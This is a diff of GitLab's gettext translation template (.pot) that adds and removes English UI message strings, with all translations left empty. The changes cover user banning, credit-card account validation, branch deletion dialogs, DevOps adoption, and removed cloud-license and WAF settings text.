+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
